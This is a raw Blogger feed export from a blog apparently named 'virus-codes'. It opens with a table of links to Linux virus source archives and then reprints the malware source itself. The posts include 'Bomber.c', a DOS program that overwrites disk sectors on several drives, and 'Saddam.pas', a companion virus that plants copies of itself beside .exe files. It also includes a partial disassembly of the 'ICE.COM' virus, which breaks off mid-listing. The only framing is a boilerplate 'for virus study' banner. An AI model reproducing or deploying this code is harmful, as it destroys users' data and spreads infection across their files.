none;"&gt;dataseg.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="68"&gt;&lt;div align="center"&gt;&lt;span style="color: lime; font-family: Papyrus;"&gt;11610&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="279"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: GulimChe; font-size: 130%;"&gt;DataSeg&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="100"&gt;&lt;div align="center"&gt;&lt;span style="color: #6600ff; font-family: GulimChe; font-size: 130%;"&gt;     2004-04-12&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="2"&gt;&lt;div align="center"&gt;&lt;span style="color: red; font-size: 130%;"&gt;c&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td align="center" valign="top" width="177"&gt;&lt;div align="center"&gt;&lt;a href="http://vx.netlux.org/src_view.php?file=fv.zip"&gt;     &lt;span style="color: magenta; font-family: Kristen ITC; font-size: 130%;"&gt;  &lt;span style="text-decoration: none;"&gt;fv.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="68"&gt;&lt;div align="center"&gt;&lt;span style="color: lime; font-family: Papyrus;"&gt;1705&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="279"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: GulimChe; font-size: 130%;"&gt;FV&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="100"&gt;&lt;div align="center"&gt;&lt;span style="color: #6600ff; font-family: GulimChe; font-size: 130%;"&gt;     2004-09-00&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="2"&gt;&lt;div align="center"&gt;&lt;span style="color: red; font-size: 130%;"&gt;fortran&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td align="center" valign="top" width="177"&gt;&lt;div align="center"&gt;&lt;a href="http://vx.netlux.org/src_view.php?file=gildo.zip"&gt;     &lt;span style="color: magenta; font-family: Kristen ITC; font-size: 130%;"&gt;  &lt;span style="text-decoration: none;"&gt;gildo.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="68"&gt;&lt;div align="center"&gt;&lt;span style="color: lime; font-family: Papyrus;"&gt;5930&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="279"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: GulimChe; font-size: 130%;"&gt;Gildo&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="100"&gt;&lt;div align="center"&gt;&lt;span style="color: #6600ff; font-family: GulimChe; font-size: 130%;"&gt;     2004-00-00&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="2"&gt;&lt;div align="center"&gt;&lt;span style="color: red; font-size: 130%;"&gt;asm&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td align="center" valign="top" width="177"&gt;&lt;div align="center"&gt;&lt;a href="http://vx.netlux.org/src_view.php?file=herderv.zip"&gt;     &lt;span style="color: magenta; font-family: Kristen ITC; font-size: 130%;"&gt;  &lt;span style="text-decoration: none;"&gt;herderv.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="68"&gt;&lt;div align="center"&gt;&lt;span style="color: lime; font-family: Papyrus;"&gt;12449&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="279"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: GulimChe; font-size: 130%;"&gt;Herdevr&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="100"&gt;&lt;div align="center"&gt;&lt;span style="color: #6600ff; font-family: GulimChe; font-size: 130%;"&gt;     2004-05-09&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="2"&gt;&lt;div align="center"&gt;&lt;span style="color: red; font-size: 130%;"&gt;asm&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td align="center" valign="top" width="177"&gt;&lt;div align="center"&gt;&lt;a href="http://vx.netlux.org/src_view.php?file=iamsick.zip"&gt;     &lt;span style="color: magenta; font-family: Kristen ITC; font-size: 130%;"&gt;  &lt;span style="text-decoration: none;"&gt;iamsick.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="68"&gt;&lt;div align="center"&gt;&lt;span style="color: lime; font-family: Papyrus;"&gt;1859&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="279"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: GulimChe; font-size: 130%;"&gt;I-AM-SICK&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="100"&gt;&lt;div align="center"&gt;&lt;span style="color: #6600ff; font-family: GulimChe; font-size: 130%;"&gt;     2004-09-00&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="2"&gt;&lt;div align="center"&gt;&lt;span style="color: red; font-size: 130%;"&gt;c&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3222329616442510883-2254411906311533581?l=virus-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://virus-codes.blogspot.com/feeds/2254411906311533581/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3222329616442510883&amp;postID=2254411906311533581&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3222329616442510883/posts/default/2254411906311533581'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3222329616442510883/posts/default/2254411906311533581'/><link rel='alternate' type='text/html' href='http://virus-codes.blogspot.com/2007/03/linux-virus-collection.html' title='Linux Virus Collection'/><author><name>Ashish Jain</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-IMdPHu-0lX8/AAAAAAAAAAI/AAAAAAAAESw/1ITqXGACgj4/s512-c/photo.jpg'/></author><thr:total>0</thr:total><georss:featurename>Germany</georss:featurename><georss:point>51.165691 10.451526</georss:point><georss:box>44.26974 -4.4898805 58.061642000000006 25.3929325</georss:box></entry><entry><id>tag:blogger.com,1999:blog-3222329616442510883.post-6738555528398546291</id><published>2007-04-03T13:25:00.000+05:30</published><updated>2007-04-03T13:26:14.753+05:30</updated><title type='text'>004 - Virus Code(Bomber.c)</title><content type='html'>&lt;pre&gt;&lt;span style="color: rgb(255, 255, 153);font-size:130%;" &gt;#include &lt;dos.h&gt;&lt;br /&gt;&lt;br /&gt;main()&lt;br /&gt;{&lt;br /&gt; char *vir;&lt;br /&gt; abswrite(0,50,0,vir);&lt;br /&gt; abswrite(1,50,0,vir);&lt;br /&gt; abswrite(2,50,0,vir);&lt;br /&gt; abswrite(3,50,0,vir);&lt;br /&gt; abswrite(4,50,0,vir);&lt;br /&gt; printf("FUCK YOU ALL");&lt;br /&gt; printf("The Bomber");&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3222329616442510883-6738555528398546291?l=virus-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://virus-codes.blogspot.com/feeds/6738555528398546291/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3222329616442510883&amp;postID=6738555528398546291&amp;isPopup=true' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3222329616442510883/posts/default/6738555528398546291'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3222329616442510883/posts/default/6738555528398546291'/><link rel='alternate' type='text/html' href='http://virus-codes.blogspot.com/2007/04/004-virus-codebomberc.html' title='004 - Virus Code(Bomber.c)'/><author><name>Ashish Jain</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-IMdPHu-0lX8/AAAAAAAAAAI/AAAAAAAAESw/1ITqXGACgj4/s512-c/photo.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3222329616442510883.post-1067249733623504726</id><published>2007-04-03T13:23:00.000+05:30</published><updated>2007-04-03T13:24:33.748+05:30</updated><title type='text'>003 - Virus Code(Saddam.pas)</title><content type='html'>&lt;pre&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Program Saddam;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 153);font-size:130%;" &gt;&lt;br /&gt;{$M 10000,0,0}&lt;br /&gt;&lt;br /&gt;Uses&lt;br /&gt; DOS;&lt;br /&gt;&lt;br /&gt;Var&lt;br /&gt;  DriveID          : String [2];&lt;br /&gt;  Buffer           : Array [1..8000] Of Byte;&lt;br /&gt;  Target,Source    : File;&lt;br /&gt;  Infected         : Byte;&lt;br /&gt;  Done             : Word;&lt;br /&gt;  TargetFile       : String;&lt;br /&gt;&lt;br /&gt;(*?????????????????????????????????????????????????????????????????????????*)&lt;br /&gt;&lt;br /&gt;Function ExistCom : Boolean;&lt;br /&gt;Var&lt;br /&gt;  FindCom : SearchRec;&lt;br /&gt;Begin&lt;br /&gt;FindFirst ( TargetFile, 39, FindCom );&lt;br /&gt;ExistCom := DosError = 0;&lt;br /&gt;End;&lt;br /&gt;&lt;br /&gt;(*?????????????????????????????????????????????????????????????????????????*)&lt;br /&gt;&lt;br /&gt; Procedure SearchDir ( Dir2Search : String );&lt;br /&gt;  Var&lt;br /&gt;   S : SearchRec;&lt;br /&gt;&lt;br /&gt; Begin&lt;br /&gt;&lt;br /&gt;   If Dir2Search [ Length ( Dir2Search ) ] &lt;&gt; '\' Then&lt;br /&gt;     Dir2Search := Dir2Search + '\';&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   FindFirst ( Dir2Search + '*.exe', 39, S );&lt;br /&gt;&lt;br /&gt;    While DosError = 0 Do&lt;br /&gt;     Begin&lt;br /&gt;&lt;br /&gt;     TargetFile := Copy ( Dir2Search + S.Name,1,&lt;br /&gt;                        Length ( Dir2Search + S.Name ) -3 ) + 'com';&lt;br /&gt;&lt;br /&gt;     If ( Copy ( S.Name, Length ( S.Name ) -2,3 ) = 'EXE' ) And&lt;br /&gt;      Not ExistCom And ( Infected &lt;&gt; 25000 ) Then&lt;br /&gt;       Begin&lt;br /&gt;        {$i-}&lt;br /&gt;        Inc ( Infected );&lt;br /&gt;        Assign ( Target, TargetFile  );&lt;br /&gt;        Rewrite ( Target,1 );&lt;br /&gt;        BlockWrite ( Target, Buffer, Done + Random ( 4400 ));&lt;br /&gt;        SetFTime ( Target, S.Time );&lt;br /&gt;        Close ( Target );&lt;br /&gt;        If IoResult = 101 Then&lt;br /&gt;          Begin&lt;br /&gt;          Infected := 3;&lt;br /&gt;          Erase ( Target );&lt;br /&gt;          End;&lt;br /&gt;&lt;br /&gt;        {$i+}&lt;br /&gt;        End;&lt;br /&gt;&lt;br /&gt;     FindNext ( S );&lt;br /&gt;     End;&lt;br /&gt;&lt;br /&gt;   FindFirst ( Dir2Search + '*', Directory, S );&lt;br /&gt;&lt;br /&gt;   If S.Name = '.' Then&lt;br /&gt;    Begin&lt;br /&gt;    FindNext ( S );&lt;br /&gt;    FindNext ( S );&lt;br /&gt;    End;&lt;br /&gt;&lt;br /&gt;   If ( DosError = 0 ) And&lt;br /&gt;     ( S.Attr And 16 &lt;&gt; 16 ) Then&lt;br /&gt;      FindNext ( S );&lt;br /&gt;&lt;br /&gt;   While DosError = 0 Do&lt;br /&gt;    Begin&lt;br /&gt;    If ( S.Attr And 16 = 16 ) And ( Infected &lt; 3 )  Then&lt;br /&gt;     SearchDir ( Dir2Search + S.Name );&lt;br /&gt;    FindNext ( S );&lt;br /&gt;    End;&lt;br /&gt;  End;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(*?????????????????????????????????????????????????????????????????????????*)&lt;br /&gt;&lt;br /&gt;Begin&lt;br /&gt;&lt;br /&gt;DriveID := FExpand ( ParamStr ( 1 ));&lt;br /&gt;Infected := 0;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Assign ( Source, ParamStr ( 0 ) );&lt;br /&gt;Reset ( Source, 1 );&lt;br /&gt;BlockRead ( Source, Buffer, 5000, Done );&lt;br /&gt;Close ( Source );&lt;br /&gt;&lt;br /&gt;Randomize;&lt;br /&gt;&lt;br /&gt;SearchDir ( DriveID );&lt;br /&gt;&lt;br /&gt;Exec ( Copy ( ParamStr ( 0 ),1,&lt;br /&gt;  Length ( ParamStr ( 0 )) -3 ) + 'exe', ParamStr ( 1 ) );&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;End.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;;****************************************************************************;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;;                                                                            ;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;;                     -=][][][][][][][][][][][][][][][=-                     ;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;;                     -=]  P E R F E C T  C R I M E  [=-                     ;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;;                     -=]      +31.(o)79.426o79      [=-                     ;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;;                     -=]                            [=-                     ;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;;                     -=] For All Your H/P/A/V Files [=-                     ;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;;                     -=]    SysOp: Peter Venkman    [=-                     ;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;;                     -=]                            [=-                     ;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;;                     -=]      +31.(o)79.426o79      [=-                     ;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;;                     -=]  P E R F E C T  C R I M E  [=-                     ;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;;                     -=][][][][][][][][][][][][][][][=-                     ;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;;                                                                            ;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;;                                                                            ;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;; Around Among the General Public. It Will be Very Useful for Learning how   ;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;; Experience can Turn it Into a far More Malevolent Program Than it Already  ;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;; Is. Keep This Code in Responsible Hands!                                   ;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;;                                                                            ;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;;****************************************************************************;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3222329616442510883-1067249733623504726?l=virus-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://virus-codes.blogspot.com/feeds/1067249733623504726/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3222329616442510883&amp;postID=1067249733623504726&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3222329616442510883/posts/default/1067249733623504726'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3222329616442510883/posts/default/1067249733623504726'/><link rel='alternate' type='text/html' href='http://virus-codes.blogspot.com/2007/04/003-virus-codesaddampas.html' title='003 - Virus Code(Saddam.pas)'/><author><name>Ashish Jain</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-IMdPHu-0lX8/AAAAAAAAAAI/AAAAAAAAESw/1ITqXGACgj4/s512-c/photo.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3222329616442510883.post-533812793190063575</id><published>2007-04-03T13:17:00.000+05:30</published><updated>2007-04-03T13:22:29.576+05:30</updated><title type='text'>002 - Virus Code(ICE.COM)</title><content type='html'>&lt;pre&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;; File Name  : ICE.COM&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;; Current Date/Time : Fri Dec 18 17:15:27 1992&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;S00100 SEGMENT&lt;br /&gt; ASSUME CS:S00100, DS:S00100, ES:S00100, SS:NOTHING&lt;br /&gt;&lt;br /&gt; org 0100h&lt;br /&gt;&lt;br /&gt;H00100: jmp Near Ptr H001AC  ;00100 E9A900&lt;br /&gt;;---------------------------------------&lt;br /&gt;;MEM: Unreferenced Code&lt;br /&gt; db "Iceburg Eyes Gift from the Land"&lt;br /&gt;     ;00103 49636562&lt;br /&gt; dw 0D0Ah   ;00122 0A0D&lt;br /&gt; db "   of the Midnight SunD"&lt;br /&gt;     ;00124 2020206F&lt;br /&gt; db 94h   ;0013B&lt;br /&gt; db "lan &amp; An"  ;0013C 6C616E20&lt;br /&gt; db 9Fh   ;00144&lt;br /&gt; db "el "   ;00145 656C20&lt;br /&gt; dw 0D0Ah   ;00148 0A0D&lt;br /&gt; db "  S"   ;0014A 202053&lt;br /&gt; db 93h   ;0014D&lt;br /&gt; db "dain und "  ;0014E 6461696E&lt;br /&gt; db 99h   ;00157&lt;br /&gt; db "ber Diser... very happy "&lt;br /&gt;     ;00158 62657220&lt;br /&gt; dw 0D0Ah   ;00170 0A0D&lt;br /&gt; db "$"   ;00172 24&lt;br /&gt; dw 03BAh   ;00173 BA03&lt;br /&gt; db 01h   ;00175&lt;br /&gt; dw 09B4h   ;00176 B409&lt;br /&gt; db 0CDh   ;00178&lt;br /&gt; db "!"   ;00179 21&lt;br /&gt; dw 00B8h   ;0017A B800&lt;br /&gt; db "L"   ;0017C 4C&lt;br /&gt; db 0CDh   ;0017D&lt;br /&gt; db "!"   ;0017E 21&lt;br /&gt; db 06h dup(90h)  ;0017F&lt;br /&gt; dw 00E8h   ;00185 E800&lt;br /&gt; dw 5D00h   ;00187 005D   ]&lt;br /&gt; dw 8190h   ;00189 9081&lt;br /&gt; db 0EDh   ;0018B&lt;br /&gt; dw 0106h   ;0018C 0601&lt;br /&gt; dw 0E890h   ;0018E 90E8&lt;br /&gt; dw 0210h   ;00190 1002&lt;br /&gt; db 83h   ;00192&lt;br /&gt; dw 0E9B8h   ;00193 B8E9&lt;br /&gt; dw 0B10Ch   ;00195 0CB1&lt;br /&gt; dw 0F0Eh   ;00197 0E0F&lt;br /&gt; db "Y"   ;00199 59&lt;br /&gt; db 0ABh   ;0019A&lt;br /&gt; dw 83AAh   ;0019B AA83&lt;br /&gt; dw 9A98h   ;0019D 989A&lt;br /&gt; db 0Dh   ;0019F&lt;br /&gt; dw 4DE6h   ;001A0 E64D   M&lt;br /&gt; db 0Fh   ;001A2&lt;br /&gt; dw 22BAh   ;001A3 BA22   "&lt;br /&gt; db 0C3h   ;001A5&lt;br /&gt; db "/"   ;001A6 2F&lt;br /&gt; dw 0F08Eh   ;001A7 8EF0&lt;br /&gt; dw 7A0Eh   ;001A9 0E7A   z&lt;br /&gt; db 0F9h   ;001AB&lt;br /&gt;;---------------------------------------&lt;br /&gt;H001AC: and [bp+36B8h],al  ;001AC 2086B836    6&lt;br /&gt; or ax,49BAh  ;001B0 0DBA49    I&lt;br /&gt;&lt;br /&gt;;SEG: SP Change - 830Eh&lt;br /&gt; mov sp,830Eh  ;001B3 BC0E83&lt;br /&gt; mov ax,0D5Ah  ;001B6 B85A0D   Z&lt;br /&gt; ret    ;001B9 C3&lt;br /&gt;;---------------------------------------&lt;br /&gt;;MEM: Unreferenced Code&lt;br /&gt; db "/"   ;001BA 2F&lt;br /&gt; dw 0E0E6h   ;001BB E6E0&lt;br /&gt; dw 0E60Eh   ;001BD 0EE6&lt;br /&gt; db 01h   ;001BF&lt;br /&gt; db 0Fh   ;001C0&lt;br /&gt; dw 40BAh   ;001C1 BA40   @&lt;br /&gt; db 83h   ;001C3&lt;br /&gt; dw 0DA98h   ;001C4 98DA&lt;br /&gt; dw 0B70Ch   ;001C6 0CB7&lt;br /&gt; db 09h   ;001C8&lt;br /&gt; dw 0C30Eh   ;001C9 0EC3&lt;br /&gt; db "/|"   ;001CB 2F7C&lt;br /&gt; db 05h   ;001CD&lt;br /&gt; db 83h   ;001CE&lt;br /&gt; dw 0BC98h   ;001CF 98BC&lt;br /&gt; db 0Dh   ;001D1&lt;br /&gt; dw 37E6h   ;001D2 E637   7&lt;br /&gt; dw 0BA0Eh   ;001D4 0EBA&lt;br /&gt; db "A"   ;001D6 41&lt;br /&gt; db 0E5h   ;001D7&lt;br /&gt; db 0FFh   ;001D8&lt;br /&gt; db 83h   ;001D9&lt;br /&gt; dw 0E498h   ;001DA 98E4&lt;br /&gt; dw 0BA0Ch   ;001DC 0CBA&lt;br /&gt; db "5"   ;001DE 35&lt;br /&gt; db 0C3h   ;001DF&lt;br /&gt; db "/}"   ;001E0 2F7D&lt;br /&gt; dw 83D0h   ;001E2 D083&lt;br /&gt; dw 5A98h   ;001E4 985A   Z&lt;br /&gt; db 0Dh   ;001E6&lt;br /&gt; dw 35BAh   ;001E7 BA35   5&lt;br /&gt; db 0C3h   ;001E9&lt;br /&gt; db "/"   ;001EA 2F&lt;br /&gt; dw 8EB4h   ;001EB B48E&lt;br /&gt; dw 0E60Eh   ;001ED 0EE6&lt;br /&gt; db 0FBh   ;001EF&lt;br /&gt; dw 200Eh   ;001F0 0E20&lt;br /&gt; dw 0B884h   ;001F2 84B8&lt;br /&gt; db "6"   ;001F4 36&lt;br /&gt; db 0Dh   ;001F5&lt;br /&gt; dw 0F08Eh   ;001F6 8EF0&lt;br /&gt; dw 790Ch   ;001F8 0C79   y&lt;br /&gt; dw 0BA1Ch   ;001FA 1CBA&lt;br /&gt; db 07h   ;001FC&lt;br /&gt; db 83h   ;001FD&lt;br /&gt; dw 6798h   ;001FE 9867   g&lt;br /&gt; dw 0C30Ch   ;00200 0CC3&lt;br /&gt; db "/"   ;00202 2F&lt;br /&gt; db 0B7h   ;00203&lt;br /&gt; dw 1D86h   ;00204 861D&lt;br /&gt; dw 0F0ECh   ;00206 ECF0&lt;br /&gt; dw 0EE4h   ;00208 E40E&lt;br /&gt; dw 0F10Eh   ;0020A 0EF1&lt;br /&gt; db 0F1h   ;0020C&lt;br /&gt; db 0CDh   ;0020D&lt;br /&gt; db "\"   ;0020E 5C&lt;br /&gt; dw 0EB6h   ;0020F B60E&lt;br /&gt; db "M"   ;00211 4D&lt;br /&gt; db 0C3h   ;00212&lt;br /&gt; db "/|: "   ;00213 2F7C3A20&lt;br /&gt; db 87h   ;00217&lt;br /&gt; dw 0E380h   ;00218 80E3&lt;br /&gt; dw 0B60Ch   ;0021A 0CB6&lt;br /&gt; db 0Fh   ;0021C&lt;br /&gt; db "M="   ;0021D 4D3D&lt;br /&gt; db 0C7h   ;0021F&lt;br /&gt; db 0C3h   ;00220&lt;br /&gt; db "/|s"   ;00221 2F7C73&lt;br /&gt; dw 0CB6h   ;00224 B60C&lt;br /&gt; db "3"   ;00226 33&lt;br /&gt; db 0C3h   ;00227&lt;br /&gt; db "/"   ;00228 2F&lt;br /&gt; db 9Dh   ;00229&lt;br /&gt; db "|{"   ;0022A 7C7B&lt;br /&gt; dw 0EB6h   ;0022C B60E&lt;br /&gt; db "Y"   ;0022E 59&lt;br /&gt; db 0C3h   ;0022F&lt;br /&gt; db "/ "   ;00230 2F20&lt;br /&gt; db 87h   ;00232&lt;br /&gt; dw 0E198h   ;00233 98E1&lt;br /&gt; dw 200Ch   ;00235 0C20&lt;br /&gt; db 87h   ;00237&lt;br /&gt; dw 0FF80h   ;00238 80FF&lt;br /&gt; dw 0B70Ch   ;0023A 0CB7&lt;br /&gt; db 0Dh   ;0023C&lt;br /&gt; dw 0BA0Eh   ;0023D 0EBA&lt;br /&gt; db "1"   ;0023F 31&lt;br /&gt; db 83h   ;00240&lt;br /&gt; dw 0E998h   ;00241 98E9&lt;br /&gt; dw 0C30Ch   ;00243 0CC3&lt;br /&gt; db "/|4"   ;00245 2F7C34&lt;br /&gt; db 0E5h   ;00248&lt;br /&gt; dw 0E50Ch   ;00249 0CE5&lt;br /&gt; db "[] "   ;0024B 5B5D20&lt;br /&gt; db 85h   ;0024E&lt;br /&gt; dw 0A090h   ;0024F 90A0&lt;br /&gt; db 0Dh   ;00251&lt;br /&gt; db 85h   ;00252&lt;br /&gt; db 0CDh   ;00253&lt;br /&gt; db "U "   ;00254 5520&lt;br /&gt; db 85h   ;00256&lt;br /&gt; dw 0E680h   ;00257 80E6&lt;br /&gt; dw 8F0Ch   ;00259 0C8F&lt;br /&gt; db 0CFh   ;0025B&lt;br /&gt; db "4"   ;0025C 34&lt;br /&gt; dw 350Ch   ;0025D 0C35   5&lt;br /&gt; db 0CFh   ;0025F&lt;br /&gt; db "z.#"   ;00260 7A2E23&lt;br /&gt; db 0Dh   ;00263&lt;br /&gt; dw 200Eh   ;00264 0E20&lt;br /&gt; db 87h   ;00266&lt;br /&gt; dw 3488h   ;00267 8834   4&lt;br /&gt; db 0Dh   ;00269&lt;br /&gt; db "="   ;0026A 3D&lt;br /&gt; dw 0E6CEh   ;0026B CEE6&lt;br /&gt; db ":"   ;0026D 3A&lt;br /&gt; dw 0BA0Eh   ;0026E 0EBA&lt;br /&gt; db "N"   ;00270 4E&lt;br /&gt; db 0B7h   ;00271&lt;br /&gt; db 0Dh   ;00272&lt;br /&gt; dw 830Eh   ;00273 0E83&lt;br /&gt; dw 3798h   ;00275 9837   7&lt;br /&gt; db 0Dh   ;00277&lt;br /&gt; db 0C3h   ;00278&lt;br /&gt; db "/"   ;00279 2F&lt;br /&gt; dw 0CBEh   ;0027A BE0C&lt;br /&gt; dw 2AE6h   ;0027C E62A   *&lt;br /&gt; dw 0E60Eh   ;0027E 0EE6&lt;br /&gt; db 0FDh   ;00280&lt;br /&gt; dw 0B60Eh   ;00281 0EB6&lt;br /&gt; db 0Fh   ;00283&lt;br /&gt; db "Y "   ;00284 5920&lt;br /&gt; db 85h   ;00286&lt;br /&gt; dw 0FF80h   ;00287 80FF&lt;br /&gt; dw 200Ch   ;00289 0C20&lt;br /&gt; db 85h   ;0028B&lt;br /&gt; dw 0E198h   ;0028C 98E1&lt;br /&gt; dw 0C30Ch   ;0028E 0CC3&lt;br /&gt; db "/"   ;00290 2F&lt;br /&gt; dw 30BAh   ;00291 BA30   0&lt;br /&gt; db 0C3h   ;00293&lt;br /&gt; db "/T"   ;00294 2F54&lt;br /&gt; dw 0FB6h   ;00296 B60F&lt;br /&gt; db "M "   ;00298 4D20&lt;br /&gt; db 85h   ;0029A&lt;br /&gt; dw 0E380h   ;0029B 80E3&lt;br /&gt; dw 0C30Ch   ;0029D 0CC3&lt;br /&gt; db "/"   ;0029F 2F&lt;br /&gt; db 0CDh   ;002A0&lt;br /&gt; db "T"   ;002A1 54&lt;br /&gt; db 0CDh   ;002A2&lt;br /&gt; db 0BAh   ;002A3&lt;br /&gt; db "L="   ;002A4 4C3D&lt;br /&gt; db 0C7h   